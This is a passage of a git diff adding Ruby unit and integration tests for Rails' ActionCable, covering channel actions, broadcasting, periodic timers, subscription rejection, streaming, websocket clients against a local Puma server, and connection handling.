+    available_actions = %w(room last_action subscribed unsubscribed toggle_subscribed leave speak subscribed? get_latest receive chatters topic).to_set
+    assert_equal available_actions, ChatChannel.action_methods
+  end
+
+  test "invalid action on Channel" do
+    assert_logged("Unable to process ActionCable::Channel::BaseTest::ChatChannel#invalid_action") do
+      @channel.perform_action "action" => :invalid_action
+    end
+  end
+
+  test "notification for perform_action" do
+    begin
+      events = []
+      ActiveSupport::Notifications.subscribe "perform_action.action_cable" do |*args|
+        events << ActiveSupport::Notifications::Event.new(*args)
+      end
+
+      data = { "action" => :speak, "content" => "hello" }
+      @channel.perform_action data
+
+      assert_equal 1, events.length
+      assert_equal "perform_action.action_cable", events[0].name
+      assert_equal "ActionCable::Channel::BaseTest::ChatChannel", events[0].payload[:channel_class]
+      assert_equal :speak, events[0].payload[:action]
+      assert_equal data, events[0].payload[:data]
+    ensure
+      ActiveSupport::Notifications.unsubscribe "perform_action.action_cable"
+    end
+  end
+
+  test "notification for transmit" do
+    begin
+      events = []
+      ActiveSupport::Notifications.subscribe "transmit.action_cable" do |*args|
+        events << ActiveSupport::Notifications::Event.new(*args)
+      end
+
+      @channel.perform_action "action" => :get_latest
+      expected_data = { data: "latest" }
+
+      assert_equal 1, events.length
+      assert_equal "transmit.action_cable", events[0].name
+      assert_equal "ActionCable::Channel::BaseTest::ChatChannel", events[0].payload[:channel_class]
+      assert_equal expected_data, events[0].payload[:data]
+      assert_nil events[0].payload[:via]
+    ensure
+      ActiveSupport::Notifications.unsubscribe "transmit.action_cable"
+    end
+  end
+
+  test "notification for transmit_subscription_confirmation" do
+    begin
+      @channel.subscribe_to_channel
+
+      events = []
+      ActiveSupport::Notifications.subscribe "transmit_subscription_confirmation.action_cable" do |*args|
+        events << ActiveSupport::Notifications::Event.new(*args)
+      end
+
+      @channel.stubs(:subscription_confirmation_sent?).returns(false)
+      @channel.send(:transmit_subscription_confirmation)
+
+      assert_equal 1, events.length
+      assert_equal "transmit_subscription_confirmation.action_cable", events[0].name
+      assert_equal "ActionCable::Channel::BaseTest::ChatChannel", events[0].payload[:channel_class]
+    ensure
+      ActiveSupport::Notifications.unsubscribe "transmit_subscription_confirmation.action_cable"
+    end
+  end
+
+  test "notification for transmit_subscription_rejection" do
+    begin
+      events = []
+      ActiveSupport::Notifications.subscribe "transmit_subscription_rejection.action_cable" do |*args|
+        events << ActiveSupport::Notifications::Event.new(*args)
+      end
+
+      @channel.send(:transmit_subscription_rejection)
+
+      assert_equal 1, events.length
+      assert_equal "transmit_subscription_rejection.action_cable", events[0].name
+      assert_equal "ActionCable::Channel::BaseTest::ChatChannel", events[0].payload[:channel_class]
+    ensure
+      ActiveSupport::Notifications.unsubscribe "transmit_subscription_rejection.action_cable"
+    end
+  end
+
+  private
+    def assert_logged(message)
+      old_logger = @connection.logger
+      log = StringIO.new
+      @connection.instance_variable_set(:@logger, Logger.new(log))
+
+      begin
+        yield
+
+        log.rewind
+        assert_match message, log.read
+      ensure
+        @connection.instance_variable_set(:@logger, old_logger)
+      end
+    end
+end
diff --git a/actioncable/test/channel/broadcasting_test.rb b/actioncable/test/channel/broadcasting_test.rb
new file mode 100644
index 0000000000..ab58f33511
--- /dev/null
+++ b/actioncable/test/channel/broadcasting_test.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "stubs/test_connection"
+require "stubs/room"
+
+class ActionCable::Channel::BroadcastingTest < ActiveSupport::TestCase
+  class ChatChannel < ActionCable::Channel::Base
+  end
+
+  setup do
+    @connection = TestConnection.new
+  end
+
+  test "broadcasts_to" do
+    ActionCable.stubs(:server).returns mock().tap { |m| m.expects(:broadcast).with("action_cable:channel:broadcasting_test:chat:Room#1-Campfire", "Hello World") }
+    ChatChannel.broadcast_to(Room.new(1), "Hello World")
+  end
+
+  test "broadcasting_for with an object" do
+    assert_equal "Room#1-Campfire", ChatChannel.broadcasting_for(Room.new(1))
+  end
+
+  test "broadcasting_for with an array" do
+    assert_equal "Room#1-Campfire:Room#2-Campfire", ChatChannel.broadcasting_for([ Room.new(1), Room.new(2) ])
+  end
+
+  test "broadcasting_for with a string" do
+    assert_equal "hello", ChatChannel.broadcasting_for("hello")
+  end
+end
diff --git a/actioncable/test/channel/naming_test.rb b/actioncable/test/channel/naming_test.rb
new file mode 100644
index 0000000000..6f094fbb5e
--- /dev/null
+++ b/actioncable/test/channel/naming_test.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionCable::Channel::NamingTest < ActiveSupport::TestCase
+  class ChatChannel < ActionCable::Channel::Base
+  end
+
+  test "channel_name" do
+    assert_equal "action_cable:channel:naming_test:chat", ChatChannel.channel_name
+  end
+end
diff --git a/actioncable/test/channel/periodic_timers_test.rb b/actioncable/test/channel/periodic_timers_test.rb
new file mode 100644
index 0000000000..500b984ca6
--- /dev/null
+++ b/actioncable/test/channel/periodic_timers_test.rb
@@ -0,0 +1,74 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "stubs/test_connection"
+require "stubs/room"
+require "active_support/time"
+
+class ActionCable::Channel::PeriodicTimersTest < ActiveSupport::TestCase
+  class ChatChannel < ActionCable::Channel::Base
+    # Method name arg
+    periodically :send_updates, every: 1
+
+    # Proc arg
+    periodically -> { ping }, every: 2
+
+    # Block arg
+    periodically every: 3 do
+      ping
+    end
+
+    private
+      def ping
+      end
+  end
+
+  setup do
+    @connection = TestConnection.new
+  end
+
+  test "periodic timers definition" do
+    timers = ChatChannel.periodic_timers
+
+    assert_equal 3, timers.size
+
+    timers.each_with_index do |timer, i|
+      assert_kind_of Proc, timer[0]
+      assert_equal i + 1, timer[1][:every]
+    end
+  end
+
+  test "disallow negative and zero periods" do
+    [ 0, 0.0, 0.seconds, -1, -1.seconds, "foo", :foo, Object.new ].each do |invalid|
+      e = assert_raise ArgumentError do
+        ChatChannel.periodically :send_updates, every: invalid
+      end
+      assert_match(/Expected every:/, e.message)
+    end
+  end
+
+  test "disallow block and arg together" do
+    e = assert_raise ArgumentError do
+      ChatChannel.periodically(:send_updates, every: 1) { ping }
+    end
+    assert_match(/not both/, e.message)
+  end
+
+  test "disallow unknown args" do
+    [ "send_updates", Object.new, nil ].each do |invalid|
+      e = assert_raise ArgumentError do
+        ChatChannel.periodically invalid, every: 1
+      end
+      assert_match(/Expected a Symbol/, e.message)
+    end
+  end
+
+  test "timer start and stop" do
+    @connection.server.event_loop.expects(:timer).times(3).returns(stub(shutdown: nil))
+    channel = ChatChannel.new @connection, "{id: 1}", id: 1
+
+    channel.subscribe_to_channel
+    channel.unsubscribe_from_channel
+    assert_equal [], channel.send(:active_periodic_timers)
+  end
+end
diff --git a/actioncable/test/channel/rejection_test.rb b/actioncable/test/channel/rejection_test.rb
new file mode 100644
index 0000000000..a6da014a21
--- /dev/null
+++ b/actioncable/test/channel/rejection_test.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "stubs/test_connection"
+require "stubs/room"
+
+class ActionCable::Channel::RejectionTest < ActiveSupport::TestCase
+  class SecretChannel < ActionCable::Channel::Base
+    def subscribed
+      reject if params[:id] > 0
+    end
+
+    def secret_action
+    end
+  end
+
+  setup do
+    @user = User.new "lifo"
+    @connection = TestConnection.new(@user)
+  end
+
+  test "subscription rejection" do
+    @connection.expects(:subscriptions).returns mock().tap { |m| m.expects(:remove_subscription).with instance_of(SecretChannel) }
+    @channel = SecretChannel.new @connection, "{id: 1}", id: 1
+    @channel.subscribe_to_channel
+
+    expected = { "identifier" => "{id: 1}", "type" => "reject_subscription" }
+    assert_equal expected, @connection.last_transmission
+  end
+
+  test "does not execute action if subscription is rejected" do
+    @connection.expects(:subscriptions).returns mock().tap { |m| m.expects(:remove_subscription).with instance_of(SecretChannel) }
+    @channel = SecretChannel.new @connection, "{id: 1}", id: 1
+    @channel.subscribe_to_channel
+
+    expected = { "identifier" => "{id: 1}", "type" => "reject_subscription" }
+    assert_equal expected, @connection.last_transmission
+    assert_equal 1, @connection.transmissions.size
+
+    @channel.perform_action("action" => :secret_action)
+    assert_equal 1, @connection.transmissions.size
+  end
+end
diff --git a/actioncable/test/channel/stream_test.rb b/actioncable/test/channel/stream_test.rb
new file mode 100644
index 0000000000..79c25d936f
--- /dev/null
+++ b/actioncable/test/channel/stream_test.rb
@@ -0,0 +1,208 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "stubs/test_connection"
+require "stubs/room"
+
+module ActionCable::StreamTests
+  class Connection < ActionCable::Connection::Base
+    attr_reader :websocket
+
+    def send_async(method, *args)
+      send method, *args
+    end
+  end
+
+  class ChatChannel < ActionCable::Channel::Base
+    def subscribed
+      if params[:id]
+        @room = Room.new params[:id]
+        stream_from "test_room_#{@room.id}", coder: pick_coder(params[:coder])
+      end
+    end
+
+    def send_confirmation
+      transmit_subscription_confirmation
+    end
+
+    private def pick_coder(coder)
+      case coder
+      when nil, "json"
+        ActiveSupport::JSON
+      when "custom"
+        DummyEncoder
+      when "none"
+        nil
+      end
+    end
+  end
+
+  module DummyEncoder
+    extend self
+    def encode(*) '{ "foo": "encoded" }' end
+    def decode(*) { foo: "decoded" } end
+  end
+
+  class SymbolChannel < ActionCable::Channel::Base
+    def subscribed
+      stream_from :channel
+    end
+  end
+
+  class StreamTest < ActionCable::TestCase
+    test "streaming start and stop" do
+      run_in_eventmachine do
+        connection = TestConnection.new
+        connection.expects(:pubsub).returns mock().tap { |m| m.expects(:subscribe).with("test_room_1", kind_of(Proc), kind_of(Proc)).returns stub_everything(:pubsub) }
+        channel = ChatChannel.new connection, "{id: 1}", id: 1
+        channel.subscribe_to_channel
+
+        wait_for_async
+
+        connection.expects(:pubsub).returns mock().tap { |m| m.expects(:unsubscribe) }
+        channel.unsubscribe_from_channel
+      end
+    end
+
+    test "stream from non-string channel" do
+      run_in_eventmachine do
+        connection = TestConnection.new
+        connection.expects(:pubsub).returns mock().tap { |m| m.expects(:subscribe).with("channel", kind_of(Proc), kind_of(Proc)).returns stub_everything(:pubsub) }
+        channel = SymbolChannel.new connection, ""
+        channel.subscribe_to_channel
+
+        wait_for_async
+
+        connection.expects(:pubsub).returns mock().tap { |m| m.expects(:unsubscribe) }
+        channel.unsubscribe_from_channel
+      end
+    end
+
+    test "stream_for" do
+      run_in_eventmachine do
+        connection = TestConnection.new
+        connection.expects(:pubsub).returns mock().tap { |m| m.expects(:subscribe).with("action_cable:stream_tests:chat:Room#1-Campfire", kind_of(Proc), kind_of(Proc)).returns stub_everything(:pubsub) }
+
+        channel = ChatChannel.new connection, ""
+        channel.subscribe_to_channel
+        channel.stream_for Room.new(1)
+      end
+    end
+
+    test "stream_from subscription confirmation" do
+      run_in_eventmachine do
+        connection = TestConnection.new
+
+        channel = ChatChannel.new connection, "{id: 1}", id: 1
+        channel.subscribe_to_channel
+
+        assert_nil connection.last_transmission
+
+        wait_for_async
+
+        confirmation = { "identifier" => "{id: 1}", "type" => "confirm_subscription" }
+        connection.transmit(confirmation)
+
+        assert_equal confirmation, connection.last_transmission, "Did not receive subscription confirmation within 0.1s"
+      end
+    end
+
+    test "subscription confirmation should only be sent out once" do
+      run_in_eventmachine do
+        connection = TestConnection.new
+
+        channel = ChatChannel.new connection, "test_channel"
+        channel.send_confirmation
+        channel.send_confirmation
+
+        wait_for_async
+
+        expected = { "identifier" => "test_channel", "type" => "confirm_subscription" }
+        assert_equal expected, connection.last_transmission, "Did not receive subscription confirmation"
+
+        assert_equal 1, connection.transmissions.size
+      end
+    end
+  end
+
+  require "action_cable/subscription_adapter/async"
+
+  class UserCallbackChannel < ActionCable::Channel::Base
+    def subscribed
+      stream_from :channel do
+        Thread.current[:ran_callback] = true
+      end
+    end
+  end
+
+  class MultiChatChannel < ActionCable::Channel::Base
+    def subscribed
+      stream_from "main_room"
+      stream_from "test_all_rooms"
+    end
+  end
+
+  class StreamFromTest < ActionCable::TestCase
+    setup do
+      @server = TestServer.new(subscription_adapter: ActionCable::SubscriptionAdapter::Async)
+      @server.config.allowed_request_origins = %w( http://rubyonrails.com )
+    end
+
+    test "custom encoder" do
+      run_in_eventmachine do
+        connection = open_connection
+        subscribe_to connection, identifiers: { id: 1 }
+
+        connection.websocket.expects(:transmit)
+        @server.broadcast "test_room_1", { foo: "bar" }, coder: DummyEncoder
+        wait_for_async
+        wait_for_executor connection.server.worker_pool.executor
+      end
+    end
+
+    test "user supplied callbacks are run through the worker pool" do
+      run_in_eventmachine do
+        connection = open_connection
+        receive(connection, command: "subscribe", channel: UserCallbackChannel.name, identifiers: { id: 1 })
+
+        @server.broadcast "channel", {}
+        wait_for_async
+        refute Thread.current[:ran_callback], "User callback was not run through the worker pool"
+      end
+    end
+
+    test "subscription confirmation should only be sent out once with muptiple stream_from" do
+      run_in_eventmachine do
+        connection = open_connection
+        expected = { "identifier" => { "channel" => MultiChatChannel.name }.to_json, "type" => "confirm_subscription" }
+        connection.websocket.expects(:transmit).with(expected.to_json)
+        receive(connection, command: "subscribe", channel: MultiChatChannel.name, identifiers: {})
+
+        wait_for_async
+      end
+    end
+
+    private
+      def subscribe_to(connection, identifiers:)
+        receive connection, command: "subscribe", identifiers: identifiers
+      end
+
+      def open_connection
+        env = Rack::MockRequest.env_for "/test", "HTTP_HOST" => "localhost", "HTTP_CONNECTION" => "upgrade", "HTTP_UPGRADE" => "websocket", "HTTP_ORIGIN" => "http://rubyonrails.com"
+
+        Connection.new(@server, env).tap do |connection|
+          connection.process
+          assert connection.websocket.possible?
+
+          wait_for_async
+          assert connection.websocket.alive?
+        end
+      end
+
+      def receive(connection, command:, identifiers:, channel: "ActionCable::StreamTests::ChatChannel")
+        identifier = JSON.generate(channel: channel, **identifiers)
+        connection.dispatch_websocket_message JSON.generate(command: command, identifier: identifier)
+        wait_for_async
+      end
+  end
+end
diff --git a/actioncable/test/client_test.rb b/actioncable/test/client_test.rb
new file mode 100644
index 0000000000..56b3ef143b
--- /dev/null
+++ b/actioncable/test/client_test.rb
@@ -0,0 +1,313 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "concurrent"
+
+require "websocket-client-simple"
+require "json"
+
+require "active_support/hash_with_indifferent_access"
+
+####
+# 😷 Warning suppression 😷
+WebSocket::Frame::Handler::Handler03.prepend Module.new {
+  def initialize(*)
+    @application_data_buffer = nil
+    super
+  end
+}
+
+WebSocket::Frame::Data.prepend Module.new {
+  def initialize(*)
+    @masking_key = nil
+    super
+  end
+}
+#
+####
+
+class ClientTest < ActionCable::TestCase
+  WAIT_WHEN_EXPECTING_EVENT = 2
+  WAIT_WHEN_NOT_EXPECTING_EVENT = 0.5
+
+  class EchoChannel < ActionCable::Channel::Base
+    def subscribed
+      stream_from "global"
+    end
+
+    def unsubscribed
+      "Goodbye from EchoChannel!"
+    end
+
+    def ding(data)
+      transmit(dong: data["message"])
+    end
+
+    def delay(data)
+      sleep 1
+      transmit(dong: data["message"])
+    end
+
+    def bulk(data)
+      ActionCable.server.broadcast "global", wide: data["message"]
+    end
+  end
+
+  def setup
+    ActionCable.instance_variable_set(:@server, nil)
+    server = ActionCable.server
+    server.config.logger = Logger.new(StringIO.new).tap { |l| l.level = Logger::UNKNOWN }
+
+    server.config.cable = ActiveSupport::HashWithIndifferentAccess.new(adapter: "async")
+
+    # and now the "real" setup for our test:
+    server.config.disable_request_forgery_protection = true
+  end
+
+  def with_puma_server(rack_app = ActionCable.server, port = 3099)
+    server = ::Puma::Server.new(rack_app, ::Puma::Events.strings)
+    server.add_tcp_listener "127.0.0.1", port
+    server.min_threads = 1
+    server.max_threads = 4
+
+    thread = server.run
+
+    begin
+      yield port
+
+    ensure
+      server.stop
+
+      begin
+        thread.join
+
+      rescue IOError
+        # Work around https://bugs.ruby-lang.org/issues/13405
+        #
+        # Puma's sometimes raising while shutting down, when it closes
+        # its internal pipe. We can safely ignore that, but we do need
+        # to do the step skipped by the exception:
+        server.binder.close
+
+      rescue RuntimeError => ex
+        # Work around https://bugs.ruby-lang.org/issues/13239
+        raise unless ex.message =~ /can't modify frozen IOError/
+
+        # Handle this as if it were the IOError: do the same as above.
+        server.binder.close
+      end
+    end
+  end
+
+  class SyncClient
+    attr_reader :pings
+
+    def initialize(port)
+      messages = @messages = Queue.new
+      closed = @closed = Concurrent::Event.new
+      has_messages = @has_messages = Concurrent::Semaphore.new(0)
+      pings = @pings = Concurrent::AtomicFixnum.new(0)
+
+      open = Concurrent::Promise.new
+
+      @ws = WebSocket::Client::Simple.connect("ws://127.0.0.1:#{port}/") do |ws|
+        ws.on(:error) do |event|
+          event = RuntimeError.new(event.message) unless event.is_a?(Exception)
+
+          if open.pending?
+            open.fail(event)
+          else
+            messages << event
+            has_messages.release
+          end
+        end
+
+        ws.on(:open) do |event|
+          open.set(true)
+        end
+
+        ws.on(:message) do |event|
+          if event.type == :close
+            closed.set
+          else
+            message = JSON.parse(event.data)
+            if message["type"] == "ping"
+              pings.increment
+            else
+              messages << message
+              has_messages.release
+            end
+          end
+        end
+
+        ws.on(:close) do |event|
+          closed.set
+        end
+      end
+
+      open.wait!(WAIT_WHEN_EXPECTING_EVENT)
+    end
+
+    def read_message
+      @has_messages.try_acquire(1, WAIT_WHEN_EXPECTING_EVENT)
+
+      msg = @messages.pop(true)
+      raise msg if msg.is_a?(Exception)
+
+      msg
+    end
+
+    def read_messages(expected_size = 0)
+      list = []
+      loop do
+        if @has_messages.try_acquire(1, list.size < expected_size ? WAIT_WHEN_EXPECTING_EVENT : WAIT_WHEN_NOT_EXPECTING_EVENT)
+          msg = @messages.pop(true)
+          raise msg if msg.is_a?(Exception)
+
+          list << msg
+        else
+          break
+        end
+      end
+      list
+    end
+
+    def send_message(message)
+      @ws.send(JSON.generate(message))
+    end
+
+    def close
+      sleep WAIT_WHEN_NOT_EXPECTING_EVENT
+
+      unless @messages.empty?
+        raise "#{@messages.size} messages unprocessed"
+      end
+
+      @ws.close
+      wait_for_close
+    end
+
+    def wait_for_close
+      @closed.wait(WAIT_WHEN_EXPECTING_EVENT)
+    end
+
+    def closed?
+      @closed.set?
+    end
+  end
+
+  def websocket_client(port)
+    SyncClient.new(port)
+  end
+
+  def concurrently(enum)
+    enum.map { |*x| Concurrent::Future.execute { yield(*x) } }.map(&:value!)
+  end
+
+  def test_single_client
+    with_puma_server do |port|
+      c = websocket_client(port)
+      assert_equal({ "type" => "welcome" }, c.read_message)  # pop the first welcome message off the stack
+      c.send_message command: "subscribe", identifier: JSON.generate(channel: "ClientTest::EchoChannel")
+      assert_equal({ "identifier" => "{\"channel\":\"ClientTest::EchoChannel\"}", "type" => "confirm_subscription" }, c.read_message)
+      c.send_message command: "message", identifier: JSON.generate(channel: "ClientTest::EchoChannel"), data: JSON.generate(action: "ding", message: "hello")
+      assert_equal({ "identifier" => "{\"channel\":\"ClientTest::EchoChannel\"}", "message" => { "dong" => "hello" } }, c.read_message)
+      c.close
+    end
+  end
+
+  def test_interacting_clients
+    with_puma_server do |port|
+      clients = concurrently(10.times) { websocket_client(port) }
+
+      barrier_1 = Concurrent::CyclicBarrier.new(clients.size)
+      barrier_2 = Concurrent::CyclicBarrier.new(clients.size)
+
+      concurrently(clients) do |c|
+        assert_equal({ "type" => "welcome" }, c.read_message)  # pop the first welcome message off the stack
+        c.send_message command: "subscribe", identifier: JSON.generate(channel: "ClientTest::EchoChannel")
+        assert_equal({ "identifier" => '{"channel":"ClientTest::EchoChannel"}', "type" => "confirm_subscription" }, c.read_message)
+        c.send_message command: "message", identifier: JSON.generate(channel: "ClientTest::EchoChannel"), data: JSON.generate(action: "ding", message: "hello")
+        assert_equal({ "identifier" => '{"channel":"ClientTest::EchoChannel"}', "message" => { "dong" => "hello" } }, c.read_message)
+        barrier_1.wait WAIT_WHEN_EXPECTING_EVENT
+        c.send_message command: "message", identifier: JSON.generate(channel: "ClientTest::EchoChannel"), data: JSON.generate(action: "bulk", message: "hello")
+        barrier_2.wait WAIT_WHEN_EXPECTING_EVENT
+        assert_equal clients.size, c.read_messages(clients.size).size
+      end
+
+      concurrently(clients, &:close)
+    end
+  end
+
+  def test_many_clients
+    with_puma_server do |port|
+      clients = concurrently(100.times) { websocket_client(port) }
+
+      concurrently(clients) do |c|
+        assert_equal({ "type" => "welcome" }, c.read_message)  # pop the first welcome message off the stack
+        c.send_message command: "subscribe", identifier: JSON.generate(channel: "ClientTest::EchoChannel")
+        assert_equal({ "identifier" => '{"channel":"ClientTest::EchoChannel"}', "type" => "confirm_subscription" }, c.read_message)
+        c.send_message command: "message", identifier: JSON.generate(channel: "ClientTest::EchoChannel"), data: JSON.generate(action: "ding", message: "hello")
+        assert_equal({ "identifier" => '{"channel":"ClientTest::EchoChannel"}', "message" => { "dong" => "hello" } }, c.read_message)
+      end
+
+      concurrently(clients, &:close)
+    end
+  end
+
+  def test_disappearing_client
+    with_puma_server do |port|
+      c = websocket_client(port)
+      assert_equal({ "type" => "welcome" }, c.read_message)  # pop the first welcome message off the stack
+      c.send_message command: "subscribe", identifier: JSON.generate(channel: "ClientTest::EchoChannel")
+      assert_equal({ "identifier" => "{\"channel\":\"ClientTest::EchoChannel\"}", "type" => "confirm_subscription" }, c.read_message)
+      c.send_message command: "message", identifier: JSON.generate(channel: "ClientTest::EchoChannel"), data: JSON.generate(action: "delay", message: "hello")
+      c.close # disappear before write
+
+      c = websocket_client(port)
+      assert_equal({ "type" => "welcome" }, c.read_message) # pop the first welcome message off the stack
+      c.send_message command: "subscribe", identifier: JSON.generate(channel: "ClientTest::EchoChannel")
+      assert_equal({ "identifier" => "{\"channel\":\"ClientTest::EchoChannel\"}", "type" => "confirm_subscription" }, c.read_message)
+      c.send_message command: "message", identifier: JSON.generate(channel: "ClientTest::EchoChannel"), data: JSON.generate(action: "ding", message: "hello")
+      assert_equal({ "identifier" => '{"channel":"ClientTest::EchoChannel"}', "message" => { "dong" => "hello" } }, c.read_message)
+      c.close # disappear before read
+    end
+  end
+
+  def test_unsubscribe_client
+    with_puma_server do |port|
+      app = ActionCable.server
+      identifier = JSON.generate(channel: "ClientTest::EchoChannel")
+
+      c = websocket_client(port)
+      assert_equal({ "type" => "welcome" }, c.read_message)
+      c.send_message command: "subscribe", identifier: identifier
+      assert_equal({ "identifier" => "{\"channel\":\"ClientTest::EchoChannel\"}", "type" => "confirm_subscription" }, c.read_message)
+      assert_equal(1, app.connections.count)
+      assert(app.remote_connections.where(identifier: identifier))
+
+      subscriptions = app.connections.first.subscriptions.send(:subscriptions)
+      assert_not_equal 0, subscriptions.size, "Missing EchoChannel subscription"
+      channel = subscriptions.first[1]
+      channel.expects(:unsubscribed)
+      c.close
+      sleep 0.1 # Data takes a moment to process
+
+      # All data is removed: No more connection or subscription information!
+      assert_equal(0, app.connections.count)
+    end
+  end
+
+  def test_server_restart
+    with_puma_server do |port|
+      c = websocket_client(port)
+      assert_equal({ "type" => "welcome" }, c.read_message)
+      c.send_message command: "subscribe", identifier: JSON.generate(channel: "ClientTest::EchoChannel")
+      assert_equal({ "identifier" => "{\"channel\":\"ClientTest::EchoChannel\"}", "type" => "confirm_subscription" }, c.read_message)
+
+      ActionCable.server.restart
+      c.wait_for_close
+      assert c.closed?
+    end
+  end
+end
diff --git a/actioncable/test/connection/authorization_test.rb b/actioncable/test/connection/authorization_test.rb
new file mode 100644
index 0000000000..7d039336b8
--- /dev/null
+++ b/actioncable/test/connection/authorization_test.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "stubs/test_server"
+
+class ActionCable::Connection::AuthorizationTest < ActionCable::TestCase
+  class Connection < ActionCable::Connection::Base
+    attr_reader :websocket
+
+    def connect
+      reject_unauthorized_connection
+    end
+
+    def send_async(method, *args)
+      send method, *args
+    end
+  end
+
+  test "unauthorized connection" do
+    run_in_eventmachine do
+      server = TestServer.new
+      server.config.allowed_request_origins = %w( http://rubyonrails.com )
+
+      env = Rack::MockRequest.env_for "/test", "HTTP_CONNECTION" => "upgrade", "HTTP_UPGRADE" => "websocket",
+        "HTTP_HOST" => "localhost", "HTTP_ORIGIN" => "http://rubyonrails.com"
+
+      connection = Connection.new(server, env)
+      connection.websocket.expects(:close)
+
+      connection.process
+    end
+  end
+end
diff --git a/actioncable/test/connection/base_test.rb b/actioncable/test/connection/base_test.rb
new file mode 100644
index 0000000000..99488e38c8
--- /dev/null
+++ b/actioncable/test/connection/base_test.rb
@@ -0,0 +1,141 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "stubs/test_server"
+require "active_support/core_ext/object/json"
+
+class ActionCable::Connection::BaseTest < ActionCable::TestCase
+  class Connection < ActionCable::Connection::Base
+    attr_reader :websocket, :subscriptions, :message_buffer, :connected
+
+    def connect
+      @connected = true
+    end
+
+    def disconnect
+      @connected = false
+    end
+
+    def send_async(method, *args)
+      send method, *args
+    end
+  end
+
+  setup do
+    @server = TestServer.new
+    @server.config.allowed_request_origins = %w( http://rubyonrails.com )
+  end
+
+  test "making a connection with invalid headers" do
+    run_in_eventmachine do
+      connection = ActionCable::Connection::Base.new(@server, Rack::MockRequest.env_for("/test"))
+      response = connection.process
+      assert_equal 404, response[0]
+    end
+  end
+
+  test "websocket connection" do
+    run_in_eventmachine do
+      connection = open_connection
+      connection.process
+
+      assert connection.websocket.possible?
+
+      wait_for_async
+      assert connection.websocket.alive?
+    end
+  end
+
+  test "rack response" do
+    run_in_eventmachine do
+      connection = open_connection
+      response = connection.process
+
+      assert_equal [ -1, {}, [] ], response
+    end
+  end
+
+  test "on connection open" do
+    run_in_eventmachine do
+      connection = open_connection
+
+      connection.websocket.expects(:transmit).with({ type: "welcome" }.to_json)
+      connection.message_buffer.expects(:process!)
+
+      connection.process
+      wait_for_async
+
+      assert_equal [ connection ], @server.connections
+      assert connection.connected
+    end
+  end
+
+  test "on connection close" do
+    run_in_eventmachine do
+      connection = open_connection
+      connection.process
+
+      # Setup the connection
+      connection.server.stubs(:timer).returns(true)
+      connection.send :handle_open
+      assert connection.connected
+
+      connection.subscriptions.expects(:unsubscribe_from_all)
+      connection.send :handle_close
+
+      assert ! connection.connected
+      assert_equal [], @server.connections
+    end
+  end
+
+  test "connection statistics" do
+    run_in_eventmachine do
+      connection = open_connection
+      connection.process
+
+      statistics = connection.statistics
+
+      assert statistics[:identifier].blank?
+      assert_kind_of Time, statistics[:started_at]
+      assert_equal [], statistics[:subscriptions]
+    end
+  end
+
+  test "explicitly closing a connection" do
+    run_in_eventmachine do
+      connection = open_connection
+      connection.process
+
+      connection.websocket.expects(:close)
+      connection.close
+    end
+  end
+
+  test "rejecting a connection causes a 404" do
+    run_in_eventmachine do
+      class CallMeMaybe
+        def call(*)
+          raise "Do not call me!"
+        end
+      end
+
+      env = Rack::MockRequest.env_for(
+        "/test",
+        "HTTP_CONNECTION" => "upgrade", "HTTP_UPGRADE" => "websocket",
+          "HTTP_HOST" => "localhost", "HTTP_ORIGIN" => "http://rubyonrails.org", "rack.hijack" => CallMeMaybe.new
+      )
+
+      connection = ActionCable::Connection::Base.new(@server, env)
+      response = connection.process
+      assert_equal 404, response[0]
+    end
+  end
+
+  private
+    def open_connection
+      env = Rack::MockRequest.env_for "/test", "HTTP_CONNECTION" => "upgrade", "HTTP_UPGRADE" => "websocket",
+        "HTTP_HOST" => "localhost", "HTTP_ORIGIN" => "http://rubyonrails.com"
+
+      Connection.new(@server, env)
+    end
+end
diff --git a/actioncable/test/connection/client_socket_test.rb b/actioncable/test/connection/client_socket_test.rb
new file mode 100644
index 0000000000..2051216010
--- /dev/null
+++ b/actioncable/test/connection/client_socket_test.rb
@@ -0,0 +1,84 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "stubs/test_server"
+
+class ActionCable::Connection::ClientSocketTest < ActionCable::TestCase
+  class Connection < ActionCable::Connection::Base
+    attr_reader :connected, :websocket, :errors
+
+    def initialize(*)
+      super
+      @errors = []
+    end
+
+    def connect
+      @connected = true
+    end
+
+    def disconnect
+      @connected = false
+    end
+
+    def send_async(method, *args)
+      send method, *args
+    end
+
+    def on_error(message)
+      @errors << message
+    end
+  end
+
+  setup do
+    @server = TestServer.new
+    @server.config.allowed_request_origins = %w( http://rubyonrails.com )
+  end
+
+  test "delegate socket errors to on_error handler" do
+    run_in_eventmachine do
+      connection = open_connection
+
+      # Internal hax = :(
+      client = connection.websocket.send(:websocket)
+      client.instance_variable_get("@stream").expects(:write).raises("foo")
+      client.expects(:client_gone).never
+
+      client.write("boo")
+      assert_equal %w[ foo ], connection.errors
+    end
+  end
+
+  test "closes hijacked i/o socket at shutdown" do
+    run_in_eventmachine do
+      connection = open_connection
+
+      client = connection.websocket.send(:websocket)
+      event = Concurrent::Event.new
+      client.instance_variable_get("@stream")
+        .instance_variable_get("@rack_hijack_io")
+        .define_singleton_method(:close) { event.set }
+      connection.close
+      event.wait
+    end
+  end
+
+  private
+    def open_connection
+      env = Rack::MockRequest.env_for "/test",
+        "HTTP_CONNECTION" => "upgrade", "HTTP_UPGRADE" => "websocket",
+        "HTTP_HOST" => "localhost", "HTTP_ORIGIN" => "http://rubyonrails.com"
+      io = \
+        begin
+          Socket.pair(Socket::AF_UNIX, Socket::SOCK_STREAM, 0).first
+        rescue
+          StringIO.new
+        end
+      env["rack.hijack"] = -> { env["rack.hijack_io"] = io }
+
+      Connection.new(@server, env).tap do |connection|
+        connection.process
+        connection.send :handle_open
+        assert connection.connected
+      end
+    end
+end
diff --git a/actioncable/test/connection/cross_site_forgery_test.rb b/actioncable/test/connection/cross_site_forgery_test.rb
new file mode 100644
index 0000000000..3e21138ffc
--- /dev/null
+++ b/actioncable/test/connection/cross_site_forgery_test.rb
@@ -0,0 +1,92 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "stubs/test_server"
+
